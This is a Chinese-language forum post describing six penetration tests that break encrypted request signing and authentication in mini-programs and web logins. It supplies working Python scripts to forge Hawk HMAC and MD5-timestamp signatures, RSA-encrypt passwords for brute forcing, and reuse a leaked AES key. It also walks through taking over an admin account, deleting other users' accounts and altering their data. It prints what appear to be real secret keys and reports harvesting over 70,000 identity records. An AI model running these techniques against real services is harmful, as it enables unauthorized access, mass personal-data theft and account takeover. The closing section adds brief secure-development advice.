找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

676

积分

0

好友

86

主题
发表于 前天 10:22 | 查看: 12| 回复: 0

本文通过六个真实的渗透测试案例,深入剖析小程序与 Web 端常见的加密鉴权机制,手把手演示如何通过反编译、动态调试、JS逆向与脚本复现,精准定位加密逻辑、还原签名算法,并最终实现越权访问、信息遍历与账号接管。我们将在云栈社区与大家持续探讨此类实战技术。

案例一:Hawk协议动态签名绕过

在对某小程序进行测试时,发现一个携带 personalid 参数的接口可返回个人信息。起初猜测是一个简单的ID越权漏洞,但重放请求后提示时间戳 ts 无效。修正 ts 后,又提示随机数 nonce 无效。最终修正 nonce 后,提示消息认证码 mac 无效。这初步表明该接口采用了基于 tsnonce 的动态鉴权机制。

案例一成功请求与响应
案例一失败请求与响应

可以确定,mac 参数是鉴权的关键。由于是小程序,我们反编译其源码,并全局搜索 mac 相关逻辑。

Hawk协议mac生成代码片段

关键代码如下:

var o = {
    ts: a,
    nonce: i.nonce || e.utils.randomString(6),
    method: n,
    resource: r.resource,
    host: r.host,
    port: r.port,
    hash: i.hash,
    ext: i.ext,
    app: i.app,
    dlg: i.dlg
},
c = e.crypto.calculateMac("header", s, o),
h = 'Hawk id="' + s.id + '",ts="' + o.ts + '",nonce="' + o.nonce + '",mac="' + c + '"';

可见 mac 值等于变量 c,它由 tsnoncemethodresourcehostport 等字段组合后,经 e.crypto.calculateMac 函数加密生成。继续跟进该函数。

Hawk协议calculateMac函数实现

加密逻辑清晰:

e.crypto = {
    headerVersion: "1",
    algorithms: ["sha1", "sha256"],
    calculateMac: function(t, r, n) {
        var i = e.crypto.generateNormalizedString(t, n);
        return s["Hmac" + r.algorithm.toUpperCase()](i, r.key).toString(s.enc.Base64)
    }
}

calculateMac 函数进行分析:

  • t:原始数据。
  • r:包含算法(algorithm)和密钥(key)的对象。
  • n:即上文的 o 对象(包含 ts, nonce, method 等)。

函数首先调用 e.crypto.generateNormalizedString(t, n) 将输入参数按照 Hawk 协议规范排序拼接,生成唯一的标准化字符串,确保相同内容始终生成相同字符串,防止因顺序不一致导致签名验证失败。

随后,代码 s["Hmac" + r.algorithm.toUpperCase()](i, r.key) 使用标准化字符串 i 和密钥 r.key 进行 HMAC 计算(算法为 SHA-1 或 SHA-256),最后将结果转换为 Base64 编码字符串返回。

至此,只需找到加密所用的 key 即可复现签名。全局搜索 key 结果过多,转而搜索 config,通常在配置文件中。

配置文件中发现API密钥

在配置文件中成功找到了 API 用户名、密码和密钥。编写 Python 脚本验证并复现签名算法:

import base64
import hmac
import hashlib
import time

def generate_normalized_string(header_type, artifacts):
    """生成 Hawk 规范化字符串"""
    n = f"hawk.1.{header_type}\n"
    n += f"{artifacts['ts']}\n"
    n += f"{artifacts['nonce']}\n"
    n += f"{artifacts['method'].upper()}\n"
    n += f"{artifacts['resource']}\n"
    n += f"{artifacts['host'].lower()}\n"
    n += f"{artifacts['port']}\n"
    n += f"{artifacts['hash']}\n"  # 空字符串
    # 无 ext 参数
    n += "\n"
    # 无 app 和 dlg 参数
    return n

def calculate_mac(credentials, artifacts):
    """计算 Hawk MAC 值"""
    normalized_str = generate_normalized_string("header", artifacts)
    print("规范化字符串:")
    print("----------------------")
    print(normalized_str)
    print("----------------------")
    key_bytes = credentials["key"].encode("utf-8")
    msg_bytes = normalized_str.encode("utf-8")
    # 使用 SHA-256
    hmac_digest = hmac.new(key_bytes, msg_bytes, hashlib.sha256).digest()
    return base64.b64encode(hmac_digest).decode("utf-8")

# 输入参数
credentials = {
    "id": "wasx",
    "key": "edb8bc95-a000-4ca0-81b8-dd2145050a70F61FB1981510CE5D3988193864A328A3",
    "algorithm": "sha256"
}
timestamp = time.time()
timestamps=int(timestamp)
artifacts = {
        "ts": timestamps,
        "nonce": "6a0d5d576135004ead6cf4795e5b6112",        "method": "GET",
        "resource": "xxxx/List/QueryByPersonalid?personalid=668223",
        "host": "xxxxxxx",
        "port": "443",
        "hash": ""
}
    # 计算并验证 MAC
calculated_mac = calculate_mac(credentials, artifacts)
print(f"计算 MAC: {calculated_mac}")

脚本运行成功,成功复现了签名算法,后续利用该脚本遍历了 7 万余条身份信息。

案例二:MD5时间戳签名校验绕过

在某小程序的预约功能中,发现一个携带 personCode 参数的接口可返回个人信息。尝试遍历该参数时,返回“参数过期”错误,推测是 digest 参数加密导致的鉴权。

案例二成功请求与响应
案例二参数过期错误

同样反编译小程序,定位加密点。

MD5签名生成代码

加密逻辑相对简单,核心是 hexMD5 加密。分析代码:

var n = a.domainUrl(o.domain).match(/\/([^\/]+)\/?$/)[1]

这行代码使用正则表达式匹配 URL 域名后的最后一段路径。例如 https://example.com/api 会匹配出 api

u = o.url.includes("?") ? o.url.split("?")[0] : o.url

这行代码处理 URL,去除查询参数部分。

digest: t.hexMD5("/".concat(n, "/") + u + s).toUpperCase()

这是签名生成的核心:

  1. "/".concat(n, "/"):将匹配到的路径片段用斜杠包裹,例如得到 /api/
  2. + u + s:将上一步结果、去除参数的 URL u 以及时间戳 s 拼接。
  3. t.hexMD5(...):对拼接后的整个字符串进行 MD5 哈希计算。
  4. .toUpperCase():将 MD5 结果转为大写。

分析完毕,编写复现脚本:

import re
import hashlib
import time

def calculate_digest(domain, url, timestamp):
    # 提取domain的最后路径片段
    match = re.search(r'\/([^\/]+)\/?$', domain)
    if not match:
        raise ValueError("Invalid domain format")
    n = match.group(1)
    # 去掉URL的查询参数
    u = url.split('?', 1)[0]
    # 拼接字符串
    s = f"/{n}/{u}{timestamp}"
    # 计算MD5并转大写
    return hashlib.md5(s.encode('utf-8')).hexdigest().upper()

# 示例调用
if __name__ == "__main__":
    domain = 'xxxxx'
    url = 'xxxxx'
    timestamp = int(time.time() * 1000)  # 获取毫秒级时间戳
    print("Timestamp:", timestamp)
    digest = calculate_digest(domain, url, timestamp)
print("digest:", digest)

使用复现脚本成功获取数据

脚本成功运行,可正常获取数据,从而实现参数遍历。

案例三:Web登录RSA加密爆破

本案例介绍一种快速定位 Web 端加密点的方法:XHR 断点调试。

Web端加密请求示例

在开发者工具的“Sources”面板中,找到“XHR/fetch Breakpoints”,添加一个包含特定 URL 片段的断点。

添加XHR断点

刷新页面,请求会在断点处暂停。此时观察“Call Stack”调用栈和“Scope”作用域,可以逐步向上追踪,定位到加密参数生成的位置。

在作用域中查找加密参数
向上追溯加密逻辑
定位到最终的加密数据

接下来进入具体案例。在对某 Web 系统进行测试时,查看网页源代码发现默认密码为 111111,且无验证码。攻击思路可定为固定密码爆破用户名。

登录页面源代码提示默认密码

但抓包发现,提交的 password 字段被加密了。

登录请求包显示密码被加密

需要对其进行JS逆向。搜索加密参数,定位到加密函数。

定位到密码加密的JS代码
RSA加密函数具体实现

核心代码:

rsa.setPublic(modulus, exponent)
  • modulus(模数):一个很长的十六进制字符串,表示 RSA 公钥的模数,这是一个1024位的密钥。
  • exponent(公钥指数):值为 "10001",即十六进制的 65537,是常用的公钥指数。
  • rsa.setPublic() 方法用这两个值设置公钥。

跟进 RSAEncrypt 函数:
RSAEncrypt函数内部逻辑

var m = pkcs1pad2(text,(this.n.bitLength()+7)>>3);
  • pkcs1pad2:根据 PKCS#1 v1.5 标准对明文进行填充,确保长度适合加密。
  • (this.n.bitLength() + 7) >> 3:计算模数对应的字节长度。
var c = this.doPublic(m);
  • this.doPublic(m):使用 RSA 公钥对填充后的明文 m 进行加密。
var h = c.toString(16);
if((h.length & 1) == 0) return h; else return "0" + h;
  • 将加密结果 c 转换为十六进制字符串 h
  • 检查并确保十六进制字符串长度为偶数。

分析清楚后,编写 Python 脚本复现加密过程:

import base64
from cryptography.hazmat.primitives import serialization, padding
from cryptography.hazmat.primitives.asymmetric import rsa, padding as asymmetric_padding
from cryptography.hazmat.backends import default_backend

# 1. 设置公钥的模数和指数
modulus_hex = "B87A3BE2184FED0973FFB0B02A862DCAD15A1A29172EC8FF67E841FE26749A6AA04E48E9B02D963ED81DCE2B0086C034F7D47CCBACF8539C36B9445ABA5EF484F3CA32593762641B4C9683C79801D087198370D5719BB4E422FADAA4D883D13874DE67D8B6E883EBAACC53A8480F41EE8BE70D2F70BECF3CB7F1023D2C901CC3"
exponent_hex = "10001"
# 将十六进制字符串转换为整数
n = int(modulus_hex, 16)
e = int(exponent_hex, 16)
public_numbers = rsa.RSAPublicNumbers(e, n)
public_key = public_numbers.public_key(default_backend())

# 3. 定义加密函数
def rsa_encrypt(plaintext, public_key):
    ciphertext = public_key.encrypt(
        plaintext.encode('utf-8'),
        asymmetric_padding.PKCS1v15()
    )
    # 转换为十六进制字符串,并确保长度为偶数
    hex_ciphertext = ciphertext.hex()
    if len(hex_ciphertext) % 2 != 0:
        hex_ciphertext = '0' + hex_ciphertext
    return hex_ciphertext

psw = "111111"
# 4. 执行加密
encrypted_psw = rsa_encrypt(psw, public_key)
print(f"待加密的明文: {psw}")
print(f"加密后的密文: {encrypted_psw}")
print(f"密文长度: {len(encrypted_psw)} 字符")

成功生成密文后,即可实施针对用户名的爆破攻击。

案例四:密钥泄露导致RSA加密绕过

在测试过程中,于一个数据包响应体中发现了用于前端加密的 RSA 公钥。
响应包中泄露的RSA公钥

分析前端 JS,发现登录时的 account 参数使用该公钥进行 RSA 加密。

function encrypt(username, privatKey) {
        const encrypt = new JSEncrypt();
        encrypt.setPublicKey(privatKey);
        const encrypted = encrypt.encrypt(username);
        if (encrypted) {
            return encrypted;
        }

由于公钥已泄露,无需逆向加密过程。直接在浏览器控制台调用该 encrypt 函数,即可对任意用户名进行加密。
在控制台调用加密函数

普通用户登录后,在页面中发现管理员用户名,使用相同方法加密后替换请求中的 account 参数,成功以管理员身份登录。
使用管理员账号登录成功
越权访问管理员后台查看用户数据

案例五:小程序动态调试修改注销参数

某小程序提供账号注销功能,请求为 POST 方式,且数据被加密。
小程序注销功能界面
注销账号的加密请求

需要对其加密逻辑进行逆向。根据请求路由定位到对应的加密函数位置。
根据路由定位加密代码

JS逆向动态调试的优势在于可以直接在运行时修改变量值。在调试过程中,找到用于标识用户的关键参数(如加密数据中包含的手机号),直接修改为其它的值,小程序会自动生成新的合法密文。
动态调试修改关键参数

将修改后生成的密文替换原请求数据,即可实现非本账号的注销或其他越权操作。这种手法在前端与移动端安全测试中非常有效。

案例六:AES加密用户信息越权修改

某小程序存在保存用户信息的功能,抓包发现请求数据被加密,响应中返回一个 yhgrid 参数。
小程序用户信息界面
修改用户信息的加密请求与响应

对小程序相关 JS 进行断点调试。分析修改用户地址信息的接口,发现其加密方式为 AES-CBC,填充模式为 Zeros,密钥和偏移量均为 UKU0m5xBbOa/Lz==。密文经过 Base64 编码,其中的用户地址信息部分还额外进行了 URL 编码。
AES加密工具识别算法
Base64与URL编码解码

掌握加密算法和密钥后,即可解密原始数据包。将解密数据中的 yhgrid(用户ID)修改为其他用户的 ID,然后重新加密并发送请求。
修改grid参数后重新加密
修改他人信息成功

再次查看用户信息,确认被成功修改,实现了越权修改他人信息的漏洞利用。
查看信息确认被修改

总结

通过对六个典型场景的拆解,我们不难发现:“加密不等于安全”。无论是 Hawk 协议中的动态签名、MD5 时间戳校验,还是 RSA/AES 等标准加密算法,其安全性高度依赖于密钥管理、参数时效性与实现细节。一旦密钥泄露、nonce 可预测、ts 未严格校验,或加密逻辑被完整逆向,整个鉴权体系将形同虚设。

安全开发应在设计之初就充分考虑密钥的安全存储、使用具备时效性的随机数、对签名算法进行服务端严格校验,并避免将关键密钥或算法逻辑暴露于客户端。对于安全测试者而言,掌握反编译、动态调试、JS逆向与脚本编写能力,是深入理解并突破此类加密鉴权机制的关键。




上一篇:Go+Vue3 轻量级 Nginx 日志分析工具 NginxPulse:实时可视化与智能 IP 归属地查询
下一篇:项目管理拆解大目标:掌握WBS方法实现高效任务分解
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-1-24 01:42 , Processed in 0.526186 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表